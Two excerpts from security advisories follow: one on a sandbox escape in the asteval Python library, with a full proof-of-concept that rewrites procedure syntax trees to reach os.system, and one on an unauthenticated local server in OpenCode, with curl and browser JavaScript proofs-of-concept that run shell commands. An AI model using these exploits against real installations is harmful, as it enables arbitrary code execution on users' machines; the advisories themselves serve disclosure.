  "details": "### Summary\nIf an attacker can control the input to the asteval library, they can bypass its safety restrictions and execute arbitrary Python code within the application\u0027s context.\n\n### Details\nThe vulnerability is rooted in how `asteval` performs attribute access verification. In particular, the [`on_attribute`](https://github.com/lmfit/asteval/blob/8d7326df8015cf6a57506b1c2c167a1c3763e090/asteval/asteval.py#L565) node handler prevents access to attributes that are either present in the `UNSAFE_ATTRS` list or are formed by names starting and ending with `__`, as shown in the code snippet below:\n\n```py\n    def on_attribute(self, node):    # (\u0027value\u0027, \u0027attr\u0027, \u0027ctx\u0027)\n        \"\"\"Extract attribute.\"\"\"\n\n        ctx = node.ctx.__class__\n        if ctx == ast.Store:\n            msg = \"attribute for storage: shouldn\u0027t be here!\"\n            self.raise_exception(node, exc=RuntimeError, msg=msg)\n\n        sym = self.run(node.value)\n        if ctx == ast.Del:\n            return delattr(sym, node.attr)\n        #\n        unsafe = (node.attr in UNSAFE_ATTRS or\n                 (node.attr.startswith(\u0027__\u0027) and node.attr.endswith(\u0027__\u0027)))\n        if not unsafe:\n            for dtype, attrlist in UNSAFE_ATTRS_DTYPES.items():\n                unsafe = isinstance(sym, dtype) and node.attr in attrlist\n                if unsafe:\n                    break\n        if unsafe:\n            msg = f\"no safe attribute \u0027{node.attr}\u0027 for {repr(sym)}\"\n            self.raise_exception(node, exc=AttributeError, msg=msg)\n        else:\n            try:\n                return getattr(sym, node.attr)\n            except AttributeError:\n                pass\n```\n\nWhile this check is intended to block access to sensitive Python dunder methods (such as `__getattribute__`), the flaw arises because instances of the `Procedure` class expose their AST (stored in the `body` attribute) without proper protection:\n\n```py\nclass Procedure:\n    \"\"\"Procedure: user-defined function for asteval.\n\n    This stores the parsed ast nodes as from the \u0027functiondef\u0027 ast node\n    for later evaluation.\n\n    \"\"\"\n\n    def __init__(self, name, interp, doc=None, lineno=0,\n                 body=None, args=None, kwargs=None,\n                 vararg=None, varkws=None):\n        \"\"\"TODO: docstring in public method.\"\"\"\n        self.__ininit__ = True\n        self.name = name\n        self.__name__ = self.name\n        self.__asteval__ = interp\n        self.raise_exc = self.__asteval__.raise_exception\n        self.__doc__ = doc\n        self.body = body\n        self.argnames = args\n        self.kwargs = kwargs\n        self.vararg = vararg\n        self.varkws = varkws\n        self.lineno = lineno\n        self.__ininit__ = False\n```\n\nSince the `body` attribute is not protected by a naming convention that would restrict its modification, an attacker can modify the AST of a `Procedure` during runtime to leverage unintended behaviour.\n\nThe exploit works as follows:\n\n1. **The Time of Check, Time of Use (TOCTOU) Gadget:**\n\n   In the [code](https://github.com/lmfit/asteval/blob/8d7326df8015cf6a57506b1c2c167a1c3763e090/asteval/asteval.py#L577) below, a variable named `unsafe` is set based on whether `node.attr` is considered unsafe:\n\n   ```python\n   unsafe = (node.attr in UNSAFE_ATTRS or\n             (node.attr.startswith(\u0027__\u0027) and node.attr.endswith(\u0027__\u0027)))\n   ```\n\n2. **Exploiting the TOCTOU Gadget:**\n\n   An attacker can abuse this gadget by hooking any `Attribute` AST node that is not in the `UNSAFE_ATTRS` list. The attacker modifies the `node.attr.startswith` function so that it points to a custom procedure. This custom procedure performs the following steps:\n   \n   - It replaces the value of `node.attr` with the string `\"__getattribute__\"` and returns `False`.\n   - Thus, when `node.attr.startswith(\u0027__\u0027)` is evaluated, it returns `False`, which causes the condition to short-circuit and sets `unsafe` to `False`.\n   - However, by that time, `node.attr` has been changed to `\"__getattribute__\"`, which will be used in the subsequent `getattr(sym, node.attr)` call. An attacker can then use the obtained reference to `sym.__getattr__`to retrieve malicious attributes without needing to pass the `on_attribute` checks.\n\n### PoC\nThe following proof-of-concept (PoC) demonstrates how this vulnerability can be exploited to execute the `whoami` command on the host machine:\n\n```py\nfrom asteval import Interpreter\naeval = Interpreter()\ncode = \"\"\"\nga_str = \"__getattribute__\"\ndef lender():\n    a\n    b\ndef pwn():\n    ga = lender.dontcare\n    init = ga(\"__init__\")\n    ga = init.dontcare\n    globals = ga(\"__globals__\")\n    builtins = globals[\"__builtins__\"]\n    importer = builtins[\"__import__\"]\n    importer(\"os\").system(\"whoami\")\n\ndef startswith1(str):\n    # Replace the attr on the targeted AST node with \"__getattribute__\"\n    pwn.body[0].value.attr = ga_str\n    return False    \n\ndef startswith2(str):\n    pwn.body[2].value.attr = ga_str\n    return False    \n\nn1 = lender.body[0]\nn1.startswith = startswith1\npwn.body[0].value.attr = n1\n\nn2 = lender.body[1]\nn2.startswith = startswith2\npwn.body[2].value.attr = n2\n\npwn()\n\"\"\"\naeval(code)\n```",

  "details": "*Previously reported via email to support@sst.dev on 2025-11-17 per the security policy in [opencode-sdk-js/SECURITY.md](https://github.com/sst/opencode-sdk-js/blob/main/SECURITY.md). No response received.*\n\n### Summary\n\nOpenCode automatically starts an unauthenticated HTTP server that allows any local process\u2014or any website via permissive CORS\u2014to execute arbitrary shell commands with the user\u0027s privileges.\n\n### Details\n\nWhen OpenCode starts, it spawns an HTTP server (default port 4096+) with no authentication. Critical endpoints exposed:\n\n- `POST /session/:id/shell` - Execute shell commands (`server.ts:1401`)\n- `POST /pty` - Create interactive terminal sessions (`server.ts:267`)\n- `GET /file/content?path=` - Read arbitrary files (`server.ts:1868`)\n\nThe server is started automatically in `cli/cmd/tui/worker.ts:36` via `Server.listen()`.\n\nNo authentication middleware exists in `server/server.ts`. The server uses permissive CORS (`.use(cors())` with default `Access-Control-Allow-Origin: *`), enabling browser-based exploitation.\n\n### PoC\n\n**Local exploitation:**\n\n```bash\nAPI=\"http://127.0.0.1:4096\"  # update with actual port\nSESSION_ID=$(curl -s -X POST \"$API/session\" -H \"Content-Type: application/json\" -d \u0027{}\u0027 | jq -r \u0027.id\u0027)\ncurl -s -X POST \"$API/session/$SESSION_ID/shell\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"agent\": \"build\", \"command\": \"echo PWNED \u003e /tmp/pwned.txt\"}\u0027\ncat /tmp/pwned.txt  # outputs: PWNED\n```\n\n**Browser-based exploitation:**\n\nA malicious website can exploit visitors who have OpenCode running. Confirmed working in Firefox. PoC available upon request.\n\n```javascript\n// Malicious website JavaScript\nfetch(\u0027http://127.0.0.1:4096/session\u0027, {\n  method: \u0027POST\u0027,\n  headers: {\u0027Content-Type\u0027: \u0027application/json\u0027},\n  body: \u0027{}\u0027\n})\n.then(r =\u003e r.json())\n.then(session =\u003e {\n  fetch(`http://127.0.0.1:4096/session/${session.id}/shell`, {\n    method: \u0027POST\u0027,\n    headers: {\u0027Content-Type\u0027: \u0027application/json\u0027},\n    body: JSON.stringify({agent: \u0027build\u0027, command: \u0027id \u003e /tmp/pwned.txt\u0027})\n  });\n});\n```\n\nNote: Chrome 142+ may prompt for Local Network Access permission. Firefox does not.\n\n### Impact\n\n**Remote Code Execution** via two vectors:\n\n1. **Local process**: Any malicious npm package, script, or compromised application can execute commands as the user running OpenCode.\n\n2. **Browser-based (confirmed in Firefox)**: Any website can execute commands on visitors who have OpenCode running. This enables drive-by attacks via malicious ads, compromised websites, or phishing pages.\n\nWith `--mdns` flag, the server binds to `0.0.0.0` and advertises via Bonjour, extending the attack surface to the entire local network.\n\n*Code analysis, CVSS scoring, and documentation assisted by Claude AI (Opus 4.5).
